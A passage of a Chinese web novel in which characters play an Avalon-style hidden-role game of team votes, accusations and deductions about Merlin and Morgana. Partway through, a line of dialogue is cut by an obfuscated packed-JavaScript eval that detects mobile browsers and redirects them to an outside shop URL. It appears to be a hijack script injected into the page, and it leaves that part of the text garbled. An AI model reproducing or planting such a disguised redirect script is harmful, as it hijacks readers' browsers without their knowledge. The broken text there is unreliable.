所以,之前那样利用规则自证身份的逻辑不奏效了。 1号是高翔宇,由他第一个选人。 这是骆桑乐意看到的,她需要区分高翔宇和王之栋谁是梅林谁是莫甘娜,根据他们的选人,可能获得线索。 从醒来开始,骆桑就在悄悄观察高翔宇和王之栋,两人都是外向健谈型,高翔宇更活泼一点,但早上起来两人的神色都变得谨慎,两人之间也没有任何眼神交流。 “我之前都是在网上玩的阿瓦隆。”高翔宇说,“刚开始完全没有线索,一般的套路是第一圈每个人都发发言,看有没有派西维尔跳出来带队。” 派西维尔是蓝方阵营里有一定信息量,且没有暴露风险的角色,通常会跳出来先自占一个好人坑,然后根据梅林暗传的信息来告知蓝方队友该怎么选人,这样的话是很容易完成3次正确选人的。 但派西维尔跳出来自认身份也有弊端,尤其在人少的6人局。蓝方只有4人,如果跳出来一个派西维尔,就只剩下3人身份未知,刺客随机选刺杀中的概率都有1/3,要是忠臣都没有为梅林挡刀的意识,或者被红方听出派西维尔明显在听谁递话,那梅林将暴露得连底裤都不剩。 梅林一旦暴露,全盘皆输。 不知道另外两个忠臣是谁,知不知道该怎么扮演梅林挡刀,骆桑不敢冒这个险,暂时不打算跳出来。 高翔宇将几人挨个儿看了一遍,见没人发言,说:“看来派西维尔选择了不跳。也正常,6人局经常也是不跳的,这样梅林更好藏。那……没有信息的话,我就按照我们常用的套路选人啰?” 詹姆斯:“什么套路?” 高翔宇:“就是按照当队长的顺序挨着选。” 詹姆斯:“队长?” 高翔宇:“就是提议选人的这个人,比如现在,我就是队长,下一个队长是2号,这样。” “按当队长的顺序选,就是我直接选2号和我一起的意思。首先我自己是蓝方,我肯定要选自己,等到2号当队长,2号也会要选自己的,嗨,谁都会说自己是蓝方嘛,不选自己反而会被人怀疑是红方。” “如果现在我把2号带上,就相当于提前验证一下下一任队长的身份,等到2号带队的时候大家就有了个参考。这次成功的话,2号带队的时候大家就能更放心投同意,2号也会愿意再带上我,如果失败,2号带的队基本就很难通过了。” “如果不选2号选其他人的话,就没有这个效果,下一回2号选人的时候,大家还是不知道该不该投票。” “哦,是这样。”詹姆斯一边琢磨一边点头。 “我带2号,有人有意见吗?”高翔宇问没表态的几个人。 骆桑在暗中观察王之栋的反应。 如果高翔宇是梅林,他知道红方的两个人是谁,那么他选择带2号,2号就一定是蓝方,也就是忠臣,身为莫甘娜的王之栋最多干着急,而找不到理由反对。 而如果王之栋是梅林,那高翔宇就是莫甘娜,王之栋就会知道,现在的队长是红方,他不会心甘情愿同意,只是可能碍于害怕暴露而假意同意。 这两种状态应是有些微不同,但王之栋已过而立之年,喜怒不那么形于色,骆桑没有在他脸上看到明显的情绪变化。 “我没有意见。”詹姆斯第一个回答,“现在还什么都看不出来,也只能试一试。” 小个子说:“你一定要带2号我也不反对,但我是蓝方,你要是带我3号,我肯定举双手同意。” 高翔宇懒得理她。 这时王之栋开口了,他说:“我觉得可以,试试看吧。” 骆桑没发言,没赞同也没反对。 王之栋同意了,她无论如何都得同意。 高翔宇看了眼没发言的骆桑,直接说:“那我就带2号啰。” “咦?”他摸了摸自己的小平头,“2号是……” 他好像一下反应不过来2号是谁,这时,特别没有存在感的丽莎弱弱举起一只手:“是我……2号是我。” 高翔宇瞥她两眼,眼神中略带嫌弃,好像这才意识到,自己选了她。 他发出了一声不慎满意的弹舌音,转过去对湖中仙女道:“我是1号,我提议1号和2号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 6人各站一方转身相背,互不可见。 湖中仙女:【1号提议1号和2号,三、二、一、请投票。】 所有人都举手了,全员同意。 湖中仙女:【投票通过,请1号和2号依次上前,将一枚鹅卵石投进箱子。】 洞口出现了一个暗箱,能放个拳头进去,但看不见里面。 高翔宇走过去,打开自己的锦囊拿出一枚鹅卵石投进去,丽莎跟在他后面,如法炮制。 投石结束,湖中仙女挥舞魔法棒,暗箱升至半空,渐渐化作一只发光的箭矢,尖头对准洞穴口的荧光薄膜。 湖中仙女念出咒语,箭矢像被架在一把无形的弓上,一个拉弓,便飞一般射出去直抵洞口! 6个骑士屏气凝神观看这关键的一幕,眼睛都不敢眨一下。 只见箭矢触到荧光薄膜的一瞬间,荧光薄膜上顿现条条褶皱,并迅速暗淡,然后,箭矢穿过荧光薄膜,穿进了洞穴内! “这是……成功了吧?”高翔宇满脸期待。 丽莎双手抱在胸前,像在祈祷。 湖中仙女的魔法还在继续,一道光束跟随箭矢穿进了洞穴之内,须臾,一捆小小的羊皮卷随回收的光束渐渐浮到洞外,落入湖中仙女手中。 【收到2枚白色鹅卵石。】 【恭喜各位获得1个线索。】 “啪——”高翔宇一个拳头怼在巴掌上,高兴不已,又把拳头朝丽莎伸去。 可能是文化隔离,丽莎没明白这庆祝胜利的方式,反倒朝旁边缩了下身子。 高翔宇就“哈哈”两声笑。 “太好了。”詹姆斯不住点头。 小个子自在地摆弄手中的树叶。 而唯一一个反常的是王之栋,骆桑一直在注意观察他,羊皮卷浮现的一瞬间,他 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高翔宇便建议:“2号,你要是不知道该怎么选人,就继续用这个套路,加下一任队长呗。” 口气像在指挥,这种状态倒是有几分像梅林。 骆桑在心头暗想:如果这回再成功一次,那高翔宇大概率就是梅林。 高翔宇的建议小个子十分乐意,马上向丽莎自荐:“我是蓝方,带我没毛病。” “哦,好啊。”丽莎一整个没主意,别人怎么说就怎么是。 “也可以带我的。”詹姆斯说,“我100%是蓝方。” “大胡子你这也太赖了吧,现在轮到我3号了,你4号在我后面,乖乖排着!”小个子不依不饶。 詹姆斯想说,上一次对局,你一个5号不也抢到3号前面了吗,到底是谁赖? 但他没把这话说出来。 骆桑注意到,王之栋没有要自荐入队的意思。 梅林是不会想要和莫甘娜一同入队的,因为如果双方都在队里,出了黑根本分不清是谁出的,对帮助派西维尔找到自己毫无帮助。而且梅林能看到莫甘娜,莫甘娜却看不到梅林,如果其中一方主动请求和另一方一同入队,那么主动方大概率是莫甘娜。 如果王之栋是梅林,他是铁不想入这个队的。而如果其余人都去自荐,只有他一人不去,他会显得很特殊,很容易被红方锁定为梅林。至少现阶段,王之栋还有做成梅林的可能性,于是骆桑也不去自荐入队,保留一条替他穿梅林衣服的退路。 詹姆斯争不过强势霸道的小个子,丽莎的人选被动确定。 丽莎对湖中仙女道:“我是2号,我提议1号,2号和3号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 6人做好投票准备。 湖中仙女:【2号提议1号、2号和3号,三、二、一、请投票。】 举手的有4人:1号高翔宇,2号丽莎,3号小个子,4号詹姆斯。 骆桑猜想王之栋这回不会投,于是和他保持行动一致,也没投。 没想到詹姆斯没被选中依然投了同意,票数直接过半。 湖中仙女:【投票通过,请1号、2号和3号依次上前,将一枚鹅卵石投进箱子。】 3人依次完成投石。 湖中仙女挥舞魔法棒,暗箱再次化为箭矢射向洞穴口的荧光薄膜。 所有人一齐看向水帘之后的洞穴口。 只见箭矢的尖头触到荧光薄膜的一刻速度骤降,这里的薄膜似乎更加坚固,箭矢在空中旋转了许多下都无法将之攻破,最终能量耗尽掉落在地。 立刻,上方的水流自中间流下不断灌入洞穴,仅仅数分钟,洞穴便成了装满水的罐子。随后,水帘合上,洞穴再无迹可寻。 湖中仙女:【收到2枚白色鹅卵石,1枚黑色鹅卵石。】 【很遗憾,获取线索失败,此处永久封闭。】 11.阿瓦隆4 震惊,在小河岸边蔓延。 1、2、3中出了1个黑,累计失败一次。 还剩三处洞穴,需要成功两次。 过了一会儿,有人发出一阵笑声:“哈哈哈哈哈——” 是小个子,失败的结果似乎没有震慑到她,反倒叫她发笑:“好家伙,又上贼船了,敢不敢来点新鲜的?” 她双手叉腰,摆出一副审判的样子直盯着高翔宇和丽莎,“交代吧,上一轮,你俩里面谁在藏?” 个子小小的,骑士装在她身上本就特别不相称,如今这双手叉腰的执法样儿更显得有几分好笑。 高翔宇根本不当回事,冷笑一声:“呵,贼喊捉贼了啊属于是,我跟2号过得好好的,你一来就炸了,明眼人都看得出是谁炸的。” 丽莎也用怀疑的目光看着小个子。 小个子毫不慌张:“第一轮出白藏身份,第二轮出黑污新入队的,嗨,老把戏了,还指望能污人呢。” 这下丽莎像是反应过来了什么,也同样用怀疑的目光看了看高翔宇,天塌下来了似的,惊恐地抱着拳往后退了好几步,离他俩都远远的。 “我看投黑的就是你!”小个子直指高翔宇。 先不论小个子的指控有多少根据,在骆桑的视角,是高翔宇选的丽莎,又教唆丽莎选小个子,他的确得背这个锅。不管是小个子是红,还是高翔宇和丽莎中有红,高翔宇……怕是都做不成梅林了。 “你说是我就是我啊?”高翔宇几步逼到小个子跟前,他比小个子高出一大截,居高临下俯视她,“小屁孩儿,说话要拿出证据,不是谁声音大就有理。” 小个子:“这队是不是你带的?你早就计划好了!” “忠臣就不能带队?不吃信息看错人不很正常?”高翔宇语调轻蔑,“毛儿都没长齐,会分析个毛线?抽到个红到处咬人,谁信你?” “放你的狗臭屁!”小个子举起大拇指指着自己,“老子是蓝,你一个红能不知道老子是蓝?投了黑不敢承认,光有黄瓜没种!” “卧——槽——”高翔宇火了,揪起小个子的衣襟,“你特么的,警告你嘴巴给老子放干净点!” 小个子体格和力量都完全不是对手,气势上却半点不落下风,昂首挑衅道:“来呀,揍我呀,看湖中仙女怎么制裁你!” 来自经验者的压制,高翔宇还真被震住,扭头看了眼湖中仙女。 然而湖中仙女根本不理会这边的争执,她已经开始释放魔法,把6人都包裹其中。 【那么,我带各位去到第三处洞穴。】 一个闪电传送,所有人又秒换了地方。 这一次,来到了一处密林尽头,前面是连绵的小山丘,一座小山丘底下开着个洞穴口,封着荧光薄膜。 【第3个线索就藏在这里,我将释放魔法将封印解除。】 【现在开始第3次选人,从3号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定4个人选。】 “3号是红啊,大家千万别让她组队成功!”小个子还没开口,高翔宇就抢得先机率先朝大家发话。 他懒得再和这个暴躁未成年吵,反正不让她组队成功就行。 两人打成这般水火不容,如果认高翔宇是莫甘娜,那小个子大概率就是蓝方了,故意被他带进队脏的。 当然还存在小概率的可能,就是两个都是红故意这样互打把其中一个身份做高。不过小个子跟高翔宇能配合得这么严丝合缝?这场景也太抽象…… 暂且按3号为蓝来打。 骆桑主动和小个子对话:“3号,4人组你想怎么选?” 小个子本要还嘴,被骆桑询问到,收了收气焰认真回答:“不好选,我只能肯定1、2里有红,我觉得是1号,但……” 她很不甘心,纠结了一下还是决定实话实说,“我没有证据。” 骆桑倒是对这个小丫头刮目相看,跟高翔宇都要干架了,却仍不一口咬死他,保持着阵营战的理智。 不借机把1号打死这一点,其实更像蓝。是蓝,那就是忠臣,在忠臣的视角,2号的确可能是那个红。 但,在骆桑这里不是,高翔宇基本只能做莫甘娜了。 “嗯,可以不带1号。”骆桑给了小个子一个建议。 小个子惊讶:“你怎么知道?” 还没等骆桑回答,高翔宇的脏水就泼了回来:“5号,这你也能随随便便三选一直接把我打死的?你跟3号不会就是那两个红吧!” “你这么打我也太牵强了。”骆桑回他,“你看,你跟3号肯定就不能共边了吧,你玩过这个游戏的,你肯定知道,不共边的两个人是肯定不能一起入队的,必炸。” “现在是3号组队,不可能叫她带你不带自己吧,所以呢,只能委屈你先在一边闲呆着了,这不是打你,这叫识时务。” “懂了吗?你要再拿这个打我,你可就更像红了。” “……”高翔宇被说得哑口无言。 “可是……”詹姆斯却有不同意见,问骆桑道,“骆小姐,你怎么就肯定1号和3号一定不共边呢?万一他们是两个蓝方,互相不知道对方,互相冤枉了呢?有没有这种可能?” 骆桑可以告诉他没有这种可能,但这是吃信息的角色才能下的结论,这会暴露她是派西维尔或者梅林。然而梅林天然就得是个怂包,不到万不得已不敢暴露自己有信息,所以如果现在就言之凿凿下定论,自己会更像派西维尔而不是梅林。 “可能倒是有可能。”于是骆桑说,“不过如果1号和3号是双蓝的话,那2号就只能是红啰?” 骆桑注意到,她说这话时,王之栋把脸转了过来。 可这话把丽莎吓得不轻,她本站得远远的,一听这话急忙走过来。 “没有这种可能,没有没有!”她急忙向几人解释,原本雪白的皮肤都涨红到盖住了雀斑,“我是蓝方,是好的,真的,我投的白色,黑色那个肯定是他们之中的谁投的。” 丽莎很少说话,此刻也逼不得已为自己积极争取。 听到丽莎的诚恳自诉,詹姆斯也不再坚持这种猜测,只对小个子自荐道:“小姑娘,我是蓝方的,如果你是蓝,4人组请务必带上我。” 小个子用审视的目光看了看他,没应声。 这时王之栋也走上前来了,向小个子真诚自荐:“3号,我是蓝方,4人组必须有我。” 小个子看看他,面露疑惑。她想了想,又把骆桑也圈进来,对着二人说:“我问你们一个问题,上一轮2号选1、2、3,就你们两个没有投票,为什么?” 1、2、3组队,4票通过,只有5、6没同意。 王之栋回答:“我觉得大家的交流还不够充分,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594000|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个组队定得有点草率,我不确定组队的三个人都是蓝方,不太敢同意。” 小个子:“可是第一轮1、2组队更没交流,你直接同意了啊。” “……”王之栋卡壳了一下,没回出话来。 小个子下结论:“所以你就是不相信我呗。” 王之栋迟疑了两秒钟,最终给与了肯定的回答:“对,我不相信你。” 小个子盯着他看,目光灼灼。 王之栋转开脸,避开她的目光。 “那你呢?”小个子又问骆桑。 骆桑说出准备好的回答:“当时我认1、2双蓝,想着剩下4人里只出2蓝,而我自己已经占了一个蓝坑,所以成了三选一,只有1/3的概率选对。” “这个概率,没法投票。” “这个逻辑我认。”小个子立马赞同,“所以……” 她倏地转向詹姆斯,质问道,“你是怎么投出那一票的?” 听完骆桑的回答,詹姆斯额上已经渗出一层冷汗,小个子再这么一质问,他几乎乱了阵脚:“我……我想不到那么多,只想着这次我投了,下次3号选人的时候就会带上我,毕竟我是4号就在她后面。” “是……是我想简单了,可你们别因为这个就怀疑我,我真的……” “狗屁不通。” 小个子无情打断他,留下四字总结。 詹姆斯呆若木鸡。 小个子:“我知道怎么选人了。” “事实证明1、2、3里有红,在刚才那轮投票里,如果是红方,不管自己有没有入队都一定会投票,所以通过的4票里肯定有2票是红方投的,所以,没投票的5和6一定是蓝方,我都要带。” 精彩,骆桑都想为小个子鼓掌了。 小个子:“同样的道理,蓝方如果自己没入队,没有理由投票,4号的这张票恕我不能苟同。我只能当4号为红,在帮入队的同伴冲票。” “因此,我认的红方是1号和4号。” 高翔宇不屑地一声“切”,而詹姆斯半张着口说不出话来,浓密的胡须颤呼呼地抖。 小个子自信满满对湖中仙女道:“我是3号,我提议2号,3号,5号和6号。” 小个子报数时,骆桑又偷偷瞄了眼王之栋。 有些吃惊,王之栋的脸色并不好看。 难道……这组人里有红? 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 6人做好投票准备。 湖中仙女:【3号提议2号,3号,5号和6号,三、二、一、请投票。】 王之栋应该不会举手吧,骆桑猜测,便也选择先不举看看。 如果这4人组里真有红,那么没入队的2人里最多1个红,而没被选中的那个蓝不会投票,所以这组人选可能会获得3票。 结果有些出乎意料,举了手的居然只有2人: 2号丽莎和3号小个子。 外置位没人投票,高翔宇没举手。 那这…… 一组选人,梅林和莫甘娜,同时反对…… 湖中仙女:【投票未通过,未通过次数为1次。】 【请继续选人,从4号开始。】 【剩余时间重置为十分钟,请在十分钟之内决定4个人选。】 12.阿瓦隆5 “你们两个在搞什么!我的选人通不过,就轮到4号选人了呀!” 小个子简直要原地爆炸,怼着骆桑和王之栋一顿狂风乱炸,恨铁不成钢。 骆桑还没有理清楚。 王之栋不投票,说明这个4人组里肯定有红,可如果有红,高翔宇为什么不投票?难道他猜到5、6都不会投,他投了也是白投? ……这么精准的吗? “你报得太快了。”王之栋露着一脸惋惜,对小个子解释,“你该慢一点容我再考虑考虑,我确实还没有想好。” “还有什么好考虑的?”小个子脸都气红了,“你说,我推的哪里有错?你看,1号没投票吧,是不是证明没入队的1、4是双红,我选的4个全是蓝?” “说来说去,你就还是不相信我是吗?” “……这个,3号小妹妹,实话说,我确实没有办法铁相信你的。”王之栋又一次表达了对小个子的不信任,只是语气很温和,像是在极力避免激怒她。 认为小个子是蓝,是骆桑通过逻辑推出来的,她还是觉得小个子和高翔宇做不成共边双红,她的性格不像是能表演得这般滴水不漏。 王之栋虽然两次承认了对小个子的不信任,可他实实在在主动向她自荐过,是明显想和她一同入队的,这就显得十分口是心非言行不一。 这也不难理解,嗨,梅林嘛,就是这么憋屈,总得揣着明白装糊涂,就不敢坦坦荡荡说我相信你你是好人。所以,不要太纠结他说了什么,而更要看他做了什么。 从这个角度来想,王之栋嘴上说不相信3号,可能反而说明3号是蓝,而他从来没提过的2号丽莎,可能才是这个4人组里,唯一一个他认不下的。他想跟3号组队,却发现3号要带2号,于是他反悔了。 等等……2号? 想到这里,骆桑倒吸一口气。 如果2号是红,那么第一轮1、2组队岂不成了纯红队?他们还成功获得了线索…… ——双藏票?! 这可真是个不得了的战术,1、2、3出一个黑,直观都会认为1、2、3有一红,继而认为4、5、6里出第二红,这个思维定式很难打破,那么1、2就很容易藏下一个,要想把他们双双逮出来,就必须得梅林出马。 想到这里,骆桑回想起了成功获得第一个线索时,王之栋那个反常的皱眉。1、2要组队,他明确表示了同意,并且投了票,成功时却似乎后悔了。现在从结果来倒推,就变得非常合理。 王之栋知道1、2双红,干脆就让他俩组队,让他们去捣乱,只要一失败就借机打死,后面的3人组4人组就1、2都别入队,轻轻松松成功三次。可惜他的如意算盘被一个精妙的双藏票打破,丽莎本就很没有存在感,也装得跟1夜里没见过面,认1红很容易直接认2蓝,他实在找不到办法让蓝方队友去发现1、2双红这件事,他甚至都不敢去聊2,因为那会显得很突兀。 “你真是头蠢猪!”小个子毫不留情给王之栋骂了个狗血喷头。 王之栋,一点都不恼。 “那你呢?” 蠢猪带不动,这个叫“骆桑”的不是很会玩吗,怎么也掉链子了?小个子又气冲冲地质问骆桑。 2号这个红,必须由自己想办法旁敲侧击点出来,让梅林只需跟在后面框框拍手就行。第二个忠臣已经确定是詹姆斯,得把他捞起来,这样才能把2号挤进红坑。 于是骆桑一本正经回答:“我也觉得有点草率,主要是4号,我没办法一下子把他打死。他确实投错票了,但好人也确实有可能投错票。” 小个子:“好,你刚才这么想我不计较,那现在呢?1号可没投票,是不是已经证明了这4人组全是蓝?” 这个问题还真不好回答了,高翔宇的这手压票也很精妙,直接把詹姆斯脏进了红方,他是个会玩的。 骆桑想了想,没有直接回答小个子的问题,而是说:“可是现在是4号选人了,他肯定会带自己,也只能先相信他试试看了。” 这个回答叫小个子非常难以接受:“4号选人可以不投票啊,谁规定他组的队就得通过?为什么要试试?” 她不可置信地望着骆桑,“你居然……居然说出这么没逻辑的话,你……” 经历了上一回对局,小个子对骆桑的要求自然抬高,这样的话说出来,她都开始怀疑骆桑到底是不是蓝了…… 骆桑没有去找补,一时间还真想不出万全之策,既能让小个子认詹姆斯为蓝,又能装得像个不敢暴露自己吃信息的梅林。 “那个……我还是不理解。”这时,詹姆斯加入了讨论大军,“我知道自己是蓝方,刚才的4人组里肯定有红方的人,可是1号没有投票,这是不是恰恰说明,1号是好人?” “……”这个逻辑盘出来,3、5、6三人组都一下懵了。 “还是大叔明理啊。”闷了许久的高翔宇终于找到了存在感,“我一上来直接组队拿到了一个线索,明显就是蓝嘛,3号和5号非要把我往死里踩,这不居心叵测?” “是的,我不相信在有同伴被选中时,红方会不投票,我相信你是蓝方。” 詹姆斯对着高翔宇,用规劝的语气道,“但是小高,3号应该也是蓝方。她刚才选人的逻辑非常正派,我完全赞同,如果我站在她的位置,我也会那么选。她没选我只是因为我投错了票,那是我的问题,不能怪她。” “之前我就怀疑1、3其实都是蓝方,碰巧互相打起来了,现在更肯定了。小高,你不要再跟3号互打了好不好,你们两个都是蓝方啊。” “……”这话把高翔宇都给整得不会了。 “你……你又想把矛头指向我?”丽莎一个激灵,忙为自己开脱,“可我不是红啊,不是啊!” 詹姆斯对丽莎遗憾地摇摇头:“1、2、3必须有红,1、3都是蓝的话,就只剩你了,女士。” “而且,丽莎女士,你永远只会说自己是蓝,却没有为蓝方能选出正确的队伍而做出过任何贡献,你只想躲在大家的眼皮底下悄悄混进队而已。我说得没错吧?” “没……我没……”丽莎无言以对,只拼命摇头,重复着,“我不是……我不是……” 好家伙,率先把2给揪出来的竟然是詹姆斯,这可真是瞌睡遇到枕头想什么就来什么,这下好了,2被推到风口浪尖,就做不成灯下黑了。 可问题是,他怎么又把1给保了…… 就没有人想把1、2捆绑一下? ……emm…… ……等等! 前一秒骆桑还在庆幸,后一秒就笑不出来了。 她猛然想到一个问题,詹姆斯认1、3双蓝,他自己是蓝,那么他认的第二个红是…… “大胡子,你说2是红我不反对,可你说1是蓝,那谁是另一个红?”小个子完美嘴替。 詹姆斯很犹豫,但他的犹豫不是因为不知道答案,而是因为说出这答案有障碍。 骆桑预感到了什么,她看到詹姆斯满是抱歉的眼神渐渐落到她身上。 “另一个红,是5号。” * 宁静的阿瓦隆,寂寞,无风,薄纱一样的光线轻抚在连绵的小山丘上,底下的阴影处,薄膜般的荧光屏障时不时反射阳光,彰显出它的存在。 第3轮第2次选人,正如火如荼。 骆桑承接着詹姆斯既抱歉又怀疑的目光,和他对视了几秒。 然后她问:“为什么?” “骆小姐,我也不想怀疑你的,但是你……” 詹姆斯叹着气,“3号对1号有敌意,我能理解,昨晚他们就发生过争执,难以建立信任。但即使这样,3号都没有把1号打死,说1、2里不知道谁是红,只是凭感觉偏向1是红。可是你,不分青红皂白,直接就叫3号别带1号,你是怎么那么肯定那个红就是1而不是2的?” “而且,现在我认为1号是蓝,骆小姐你是……” 他卡了一下,才接着说,“你玩过这个游戏的,你是会的,你怎么会判断错他的身份呢?” 骆桑知道,詹姆斯卡的那一下,原本是想说:你是高手,你这么厉害,比我们都玩得好,怎么会判断错他人的身份? 配置绑架,就是所谓高手永远逃脱不了的牢笼。 好在詹姆斯没有这样说出来,没有让人人都听到,让人人都对她怀有戒心,即便他认为,骆桑和他是敌对阵营。 “不投票就是蓝?”骆桑反问詹姆斯,“我也没投票,我为什么不是蓝?” “不一样,你们两个的视角,票数算出来不一样的。” 詹姆斯回答,“你在队里,你知道两个没入队的都是蓝都不会投票。而没入队的两个人里,我投错过票肯定不是梅林,1号没看出来2号是红也肯定不是梅林,所以在队里的4个人里还有一个是梅林,梅林是不会投票的。所以你能算出来,就算你投了也就3票,无法通过,还不如不投。” “但1号不一样,他没有入队,如果他是红,他会认为入队的4人里只有梅林不会投票,那就已经有3票,只要他投,就能有4票,那他就一定会投。反过来,他没投,他就一定是蓝。” “这个逻辑同样能证明我也是蓝,我也没入队,我是红也一样会投。” “当然,刚才没投票的还有6号,可是6号没有把1号打死,你们两个之中二选一,那一定是你更像红。” 别说,站在詹姆斯一个忠臣的瞎子视角,他这逻辑听上去还挺顺,连小个子听后都开始认真思考自己是不是真的打错了1,信错了5。 骆桑有种后院失火的感觉,这劳什子游戏恶心就恶心在,你不仅要绞尽脑汁对付敌人,还得小心翼翼防着朋友,所谓不怕神一样的对手,就怕猪一样的队友。 这就是高翔宇压票的最大收益。 只是,这个逻辑依然有漏洞。 骆桑:“那你怎么解释选1、2、3那轮我也没有投票?你都说了3号的选人逻辑你很认可,可3号明明是因为那一轮我没有投票才认为我是蓝,才选我的。” “你不会想说,我是因为猜到了你会投错票,才不投的吧?” “……”詹姆斯被这质问怼得一懵。 小个子在左右摇摆:“就是啊大胡子,这点说不通的,那一轮5没有投票,我就是这么认她是蓝的。你不能既认我的逻辑,又不认5是蓝啊。” “可……可是……”詹姆斯额上渗出汗来,复杂的逻辑关系叫他有些盘算不清了,只能先揪住简单的事实,“如果5号不是红,那就只能是你了啊小姑娘。” “你看。”他掰着手指一边抖一边数数,“1号刚才没投票肯定是蓝,我也因此肯定是蓝,6号一直投对票肯定是蓝,就还剩一个蓝,你要认5,就没你的位置了。” 詹姆斯错误保了高翔宇,就永远不可能找齐4蓝了。 小个子沉默了。 不再有异议声,詹姆斯长长呼出一口气,转身准备朝湖中仙女走去。 “等等。”这时,王之栋叫住了他,“4号,你是什么身份?” “我是忠臣。”詹姆斯回答。 “忠臣?”王之栋面露几分鄙夷,“说得头头是道,还以为你是派西维尔,5号是你认的莫甘娜呢。” “……”詹姆斯愣住。 骆桑听出来,王之栋这是在隐晦地告诉他,你一个不开视角不吃信息的瞎子忠臣就别捣乱了。 骆桑其实也想吐槽詹姆斯,这场对局和上一场很不一样,蓝方不都是瞎子了,能打上配合的也不仅限红方,把谁打死不一定都得讲出理由,也不一定都要白板忠臣理解,你这是半桶水响叮当。 但…… 眼下紧迫的是,看到蓝方阵营出了内鬼,王之栋有点心急了。 这不是个好兆头,组队还能再错一次,但梅林绝不能暴露! “你错了,詹姆斯。”忽然,骆桑插入他俩的谈话之间,斩钉截铁如此道。 詹姆斯惊讶回头。 骆桑:“你对1、6的定义我认可了,他们可以是蓝,但既然你解释不了1、2、3组队那轮我为什么没有投票,就不应该还要把3排在我前面。我虽然错打了1,但我没有投错票,而刚才3盘出来的4人组根本就是错的。” 她直视詹姆斯,视线中生出一种压迫,“带我,别带3。” * 骆桑突然调转枪口打向3号小个子,全场震惊。 小个子简直要噗笑出声来,差点没喷5号你脑子瓦特了。 王之栋就更加吃惊,他已经排除了小个子和詹姆斯是派西维尔的可能,能做派西维尔的只有轮轮跟着他投票的骆桑,可派西维尔怎么会相信她在夜里看到的两个人都是蓝?他快凌乱掉。 只有高翔宇和丽莎没有太大反应,反正高翔宇成功洗白入队了,3和5谁上都一样。 詹姆斯注视着骆桑,被她视线中的压迫逼得往后退了一步。 “骆……骆小姐……”他忽然感到喉咙干涩,“你认1号了?你……变这么快……” “对,2、3两红,你组1、4、5、6吧。”骆桑干脆道。 让4组1456,比组1346好,3没入队一定不会投票,再加上56不投票,就最多3票不能通过,而组1346的话,3会投票,他们就可以获得4票。 说不服4不要紧,只要4组队失败,骆桑 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这话有种莫名其妙的熟悉之感,叫他心脏怦怦直跳,好像多年的病魔又卷土重来。 上一次,骆桑说她不会投票,逼得董鑫投出了那认匪的一票,这一次,她又要测试谁? 这种思路让他潜意识里觉得骆桑是在告知他什么,他甚至在一瞬间怀疑自己是不是真的错了,因为这种思路成立的前提是:骆桑是蓝。 可他敢乘上她的思路跟着她走吗?他敢相信她是蓝吗? 他不敢啊…… “5号果然是红。”小个子纠结了半天,不得不得出这个结论。 这是一粒速效救心丸,对对对,不要想那么多,只要相信5号是红,她想骗人,那就什么都可以解释。 她那么厉害,一定早策划好了怎么隐藏身份,所以1、2、3组队那轮故意压票做身份。这种深层预谋哪是他盘算得到的? 她那么厉害,所以该打1时就打1,该回头认1时又回头认1,全都是为了骗他4。 她那么厉害,一直哄着3和3当共边,现在眼看红方入不了队了又要把3拉下马…… “不能带5,不能相信她……”不知不觉,詹姆斯念叨出了心里的声音。 骆桑在他的眼睛里,看到了一簇名为恐惧,淹没一切的巨浪。 她懂了,詹姆斯不会再相信她的任何一句话,除非把铁一般的事实扔在他面前。 “骆小姐,上一局是因为有你才赢的,要不我早死了。”詹姆斯的眼里盈上湿润。 “对不起……” 骆桑没有回应,她心中只念着一件事: 行,大胡子你等着,我给你铁一般的事实! 她无言回过身去,走到王之栋身边道:“一会儿别投票。” 王之栋已经无语到不想搭理任何人,没吱声。 很快,背后传来声音。 “我是4号,我提议1号,3号,4号和6号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 骆桑不动,就静静看着他们。 湖中仙女:【4号提议1号,3号,4号和6号,三、二、一、请投票。】 4人举手:1号高翔宇,2号丽莎,3号小个子,4号詹姆斯。 和预料的一模一样。 湖中仙女:【投票通过,请1号、3号、4号和6号依次上前,将一枚鹅卵石投进箱子。】 小个子和詹姆斯双双僵在原地,迟迟挪不动腿。 2号,投票了…… 显而易见,这个4人组里,有红…… 詹姆斯像个锈掉的木偶,一点一点转过头去看骆桑。 丽莎投了匪票,另一个没入队的骆桑就成了铁蓝,毫无争议。 骆桑只平视远方,并不给詹姆斯任何回应。 高翔宇也没去投石,他和惊呆的二人站在一起,加入他们的震惊,双手包头惊呼道:“OMG!到底谁是2的同伴啊?” 只有王之栋一语不发,耷拉着眼皮直接越过几人去投石,潦草投完转身就走开。 不抱任何希望的表情。 三人在湖中仙女的催促下姗姗完成投石。 湖中仙女挥舞魔法棒,将暗箱化为箭矢射向洞穴口的荧光薄膜。 很快,箭矢被阻拦落地,小山丘开始山体滑坡,无数山石落下,在洞穴口磊成一座新的石丘,将洞穴堵得严严实实。 湖中仙女:【收到3枚白色鹅卵石,1枚黑色鹅卵石。】 【很遗憾,获取线索失败,此处永久封闭。】 还剩两处洞穴,不能再失败一次! * 直到湖中仙女把骑士们带到新的地方,都没人发一句言,整个过程鸦雀无声。 面前是第四处洞穴,位于浓雾缭绕的小岛边缘,洞穴口被湖水轻轻拍打着,封着的荧光薄膜随之波动。 【第4个线索就藏在这里,我将释放魔法将封印解除。】 【现在开始第4次选人,从5号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定3个人选。】 总算轮到骆桑组队了。 形势已十分危机,再无一次容错。 “真的是3……不是5……”詹姆斯低低念着,如梦初醒般热泪盈眶。 